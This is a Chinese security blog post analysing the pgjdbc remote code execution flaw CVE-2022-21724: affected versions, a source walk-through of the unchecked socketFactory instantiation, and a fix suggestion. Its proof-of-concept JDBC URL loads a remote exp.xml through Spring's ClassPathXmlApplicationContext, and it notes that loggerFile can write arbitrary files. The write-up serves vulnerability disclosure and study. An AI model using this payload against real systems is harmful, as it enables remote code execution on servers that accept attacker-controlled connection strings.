|0x0 团队介绍
RedCodeSecurity Team安全团队 &安全实验室 以及安服团队,是由安全头部企业(奇安信、绿盟、360、深信服、启明等)、互联网头部企业、安全从业人员(渗透测试、安服、等保、重保、HW、代码审计、应急响应、安全巡检、安全产品代理等)、架构师、网络专家、运维专家、人工智能专家、大数据专家组建的一只安全队伍,核心业务涉及安服、渗透、等保、解决方案、以及企业内训、同时我们根据合作伙伴的需求、以及在职人员提升的需求推出安全相关的教育培训业务为安全厂商输送人才。
|0x1 漏洞简介
pgjdbc 是官方的 PostgreSQL JDBC 驱动程序。近日,postgresql发布了新版pgjdbc版本,并披露了此前版本中的一起远程代码执行漏洞。
在 postgresql 数据库的 jdbc 驱动程序中发现了一个安全漏洞。当攻击者控制 jdbc url 或属性时,使用 postgresql 库的系统将受到攻击。
|0x2 影响版本
=9.4.1208 && < 42.2.25 || >= 42.3.0 && < 42.3.2
|0x3 原理分析
在org/postgresql/Driver.java#connect中对JDBC字符串做解析处理,其中各个参数和对应的值都放入了Info属性中。
在org/postgresql/core/v3/ConnectionFactoryImpl.java中为Connect工厂的实现,其中调用了SocketFactoryFactory.getSocketFactory(info)将Info属性传入来获取SocketFactory。
socketFactory
根据官方文档 参考 在PostgreSQL连接时支持使用指定的类来建立Socket连接,该类必须继承javax.net.SocketFactory类,且该类需要有无参构造函数,接受String类型参数的构造函数或者接受一个Properties 作为参数的构造函数,Properties中包括了该类所需要的参数列表。
socketFactory:要使用的socketFactory类. socketFactoryArg:socketFactory类的参数.
在getSocketFactory中,根据info中socketFactory的值来获取类名然后又调用ObjectFactory来生成对象。
在ObjectFactory中则通过Class.forName获取到对应的Class和对应的构造器,然后调用构造器newInstance直接实例化了对象。
整个过程并没有检验指定的socketFactory类是否继承了javax.net.SocketFactory并实现了相关接口,所以只要找一个可访问并带String参数构造器的类,其中构造器内执行了危险操作即可利用。
|0x4 POC
org.springframework.context.support.ClassPathXmlApplicationContext类为例,其中构造函数支持从给定的xml地址加载Bean对象。
DriverManager.getConnection("jdbc:postgresql://127.0.0.1/test?user=test&password=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8082/exp.xml");
|0x5 修复建议
在调用ObjectFactory时传入SocketFactory类,在ObjectFactory中检验了继承关系。
|0x6 总结
在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevel
和loggerFile
即可将jdbc://
的URL内容写入指定文件。
|0x7 联系我们
联系我们
近期收到很多朋友的反馈说联系我们不方便,为了推进社区建设,经团队成员讨论,决定建立微信群方便大家沟通学习和交流。同时也收到很多朋友反馈希望开放我们企业内训资源,以及来自B站、博客等朋友咨询漏洞复现相关技术,后续我们会通过我们的微信群做公开课的分享以及产品发布。请大家扫码关注!
原文始发于微信公众号(小白嘿课):PostgreSQL JDBC Driver RCE(CVE-2022-21724)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论